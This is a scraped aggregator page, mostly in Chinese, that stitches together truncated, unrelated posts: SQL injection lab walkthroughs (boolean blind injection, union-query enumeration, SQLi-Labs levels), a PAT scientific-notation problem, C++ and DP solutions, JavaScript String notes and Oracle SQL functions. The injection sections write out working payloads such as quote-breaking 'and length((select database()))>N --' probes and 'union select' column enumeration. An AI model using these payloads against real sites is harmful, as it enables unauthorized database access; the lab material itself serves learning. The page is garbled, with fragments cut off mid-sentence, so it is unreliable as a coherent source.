substr

【web安全】sql注入之盲注靶场实战

浪子不回头ぞ 提交于 2020-02-02 03:08:28
第一题 打开靶场,输入id参数 页面显示内容,然后直接输入 ?id=1' and 666=666 -- yuyu 页面显示正常 然后输入 ?id=1' and 666=888 -- yuyu 发现页面不正常 但是没有报错,猜测存在盲注 然后就直接查一下数据库的名字的长度,输入 ?id=1' and length((select database()))>10 -- yuyu 发现页面还是显示不正常 就猜测数据库的名字长度少于或等于10,然后继续猜,输入 ?id=1' and length((select database()))>5 -- yuyu 发现页面显示正常了 就猜测数据库的名字大于5,少于或等于10,然后就继续猜,输入 ?id=1' and length((select database()))>8 -- yuyu 发现页面不正常 就继续猜 ?id=1' and length((select database()))>7 -- yuyu 页面正常 然后继续猜 ?id=1' and length((select database()))>9 -- yuyu 猜到大于7,不大于8和9 就试试等于8 ?id=1' and length((select database()))=8 -- yuyu 发现页面正确 就猜到数据库名字长度是8

sql注入总结

那年仲夏 提交于 2020-02-01 22:14:47
sql注入定义 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类 联合查询 通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询 首先我们先来了解一下mysql的系统函数 user ( ) : 当前使用者的用户名 database ( ) : 当前数据库名 version ( ) : 数据库的版本 datadir : 读取数据库的绝对路径 @@vasedir : mysql安装路径 @@version_compile_os : 操作系统 concat ( ) : 连接一个或者多个字符串 group_concat ( ) : 连接一个组的所有字符串,并以逗号分隔每一条数据 然后再来了解下union UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。 UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同.默认地, UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL 。当 ALL 随 UNION 一起使用时(即 UNION ALL ),不消除重复行。 mysql 5.0版本以后提供了information.schema表,表中记录了数据库中所有的库、表

PAT甲级——1073 Scientific Notation (20分)

南笙酒味 提交于 2020-01-30 18:50:56
Scientific notation is the way that scientists easily handle very large numbers or very small numbers. The notation matches the regular expression [+-][1-9].[0-9]+E[+-][0-9]+ which means that the integer portion has exactly one digit, there is at least one digit in the fractional portion, and the number and its exponent's signs are always provided even when they are positive. Now given a real number A in scientific notation, you are supposed to print A in the conventional notation while keeping all the significant figures. Input Specification: Each input contains one test case. For each case,

【Web漏洞】SQL注入

半腔热情 提交于 2020-01-30 03:00:40
目录 Mysql注入 union query(union联合查询) time-based blind(基于时间的盲注) boolean-based blind(基于布尔型盲注) Access注入 boolean-based blind(基于布尔型盲注) Mysql注入 union query(union联合查询) 1、回显正确 http://www.dandelion.com/about.php?id=15' and 1=1 --+ 2、回显错误,断定存在注入,并确认payload http://www.dandelion.com/about.php?id=15' and 1=2 --+ 3、回显错误,字段小于9 http://www.dandelion.com/about.php?id=15' order by 9 --+ 4、回显正确,字段长度为8(凡是小于等于正确字段长度都会回显正确) http://www.dandelion.com/about.php?id=15' order by 8 --+ 5、将参数改为负值(清空页面输出),并构造联合查询 http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,5,6,7,8 --+ 输出: 5 6、查询用户名,当前数据库名,当前数据库版本,数据库路径

SQLi-Labs之1~6关 - 常规注入与盲注

怎甘沉沦 提交于 2020-01-29 03:17:15
第一关 联合注入 1.准备 2.加'截断 3.order by 判断查询列数 4.同上 5.联合查询判断字段位置 6.查数据库名 7.1 查表名 7.2 查列名 8.查数据 第二关 不需要单引号截断,查询代码用了整数值 其余与第一关相同 第三关 说明用了(' ')结构 换成')即可 第四关 说明用了(" ")结构 换成")即可 第五关 不管输入什么都是提示u r in.... 没有回显,尝试盲注 布尔盲注 布尔盲注方式有———— left(1,2)=3 //从左侧截取1的前2位,与3的值比较 ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值 regexp //正则匹配目标值和a-z指定值,正确为1,错误为0 select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1) like //和regexp一样 ord() 和 mid() (1)用left 1.测试 2.测试数据库第一位是否大于b 是否大于y 由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试

PTA1028 人口普查

怎甘沉沦 提交于 2020-01-29 02:30:59
题目分析:本题的关键在于字符串处理,通过比较生日,去除不合理的数据,然后选出年龄最大和最小的生日日期。 解题思路:用结构体将姓名和生日保存到结构体数组中,结构体中另外增加了一个int变量用来比较生日大小,将有效数据存入数组中之后,然后利用sort按int刑生日大小排序,输出最大和最小的生日日期。 代码如下: # include <iostream> # include <string> # include <stdlib.h> # include <algorithm> typedef struct Brithday { std :: string name ; std :: string brithday ; int brith ; } ; int comp ( const Brithday & a , const Brithday & b ) { return a . brith > b . brith ; } using namespace std ; int main ( ) { int n ; cin >> n ; int m = n ; Brithday a [ n ] ; int i = 0 ; while ( n -- ) { Brithday * p = new Brithday ; cin >> p - > name >> p - > brithday ;

139. Word Break (String; DP)

╄→尐↘猪︶ㄣ 提交于 2020-01-28 07:49:47
Given a string s and a dictionary of words dict, determine if s can be segmented into a space-separated sequence of one or more dictionary words. For example, given s = "leetcode", dict = ["leet", "code"]. Return true because "leetcode" can be segmented as "leet code". 法I: DP, 二位数组。用所求值“——是否可以被分段,作为状态。 class Solution { public: bool wordBreak(string s, unordered_set<string>& wordDict) { //dp[i][j]: s[i...j] can be egemented in dict //dp[i][j] = dp[i][k] && d[k][j] int len = s.length(); vector<vector<bool>> dp(len,vector<bool>(len,false)); for(int i = 0; i < len; i++){ if(wordDict.find(s.substr

codeforces 505A. Mr. Kitayuta's Gift 解题报告

本小妞迷上赌 提交于 2020-01-26 18:49:03
题目链接:http://codeforces.com/problemset/problem/505/A 题目意思:给出一个长度不大于10的小写英文字符串 s,问是否能通过在字符串的某个位置插入一个字母,使得新得到的字符串成为回文串。   /**************************************(又到自我反省时刻) 做的时候,通过添加一个单位使得长度增加1,找出中点,检验前一半的位置,找出对称位置替换成对应的前一半位置的字符,然后原字符串剩下的部分追加到后面,再判断回文。但是由于求对称点老是出问题,终于败下阵来了 !_! 。。。。   不是非一般复杂啊啊啊!!   ***************************************/ 题解说,由于长度很短,可以一个一个位置尝试,每个位置又一个一个字母填入,判断是否回文。对string 还是很生疏啦。 一个一个试是这个意思:   例如 dog,先是adog, bdog, ..., zdog; 接着是daog, dbog, ..., dzog; 直到doga, ..., dogz 结束。   然后就是谈谈string substr 这个函数了   假如 string s = "12345asdf"; 那么 s.substr(0, 5) 答案是 12345。// 就是从下标 0 开始,将长度为5的子串选中

JavaScript String对象

喜欢而已 提交于 2020-01-25 19:35:21
String对象 在JavaScript,基本数据类型有Number型、String型、Boolean型、Undefined型、Null型、Function型等。 String对象就是和基本数据类型中的String类型相对应的JavaScript脚本内置对象。 系统中创建字符串类型时会隐式调用当前对象来创建。 常用的成员属性与方法 属性 length 用于获取当前字符串的字符个数。 charAt() 返回指定位置的字符 格式: 结果变量 = 字符串变量.charAt(位置); var b = a.charAt(1); charCodeAt() 返回指定位置的字符的字符编码 格式: 结果变量 = 字符串变量.charCodeAt(位置); var b = a.charCodeAt(1); concat() 字符串连接函数 格式: 结果变量 = 字符串变量.concat(字符串,字符串...) var b = a.concat("abc","def"); 注意: 本方法有点脱了裤子放屁的感觉,推荐使用+连接字符串. 更加高效且方便。 var b = a + "abc" + "def";//与上面方法结果一样 indexOf() 查找第一次出现指定字符的位置 格式: 结果变量 = 字符串变量.indexOf(指定字符); var b = a.indexOf("a");

SQL查询2

左心房为你撑大大i 提交于 2020-01-25 09:46:33
类型转换 -- dual用于测试 select * from dual; -- 1.字符串连接 select concat('aa','12') from dual; select 'aa'||'12' from dual; -- 2.首字母大写 select initcap('abc') from dual; --- 把大写转化小写 select lower('ABc') from dual; select upper('abc') from dual; -- 把所有员工的姓名小写输出 select lower(e.ename),e.empno from emp e -- 3.填充字符lpad/rpad select lpad('sxt',5,'*') from dual; select rpad('sxt',5,'*') from dual; -- 4.去掉空白字符 select ' kallen' from dual; select ltrim(' kallen',' ') from dual; select rtrim(' kallen ',' ') from dual; -- trim 删除左右两边的字符 select trim('a' from 'abc') from dual; -- 5.求子串 substr(str,loc,len)-->loc从1开始 select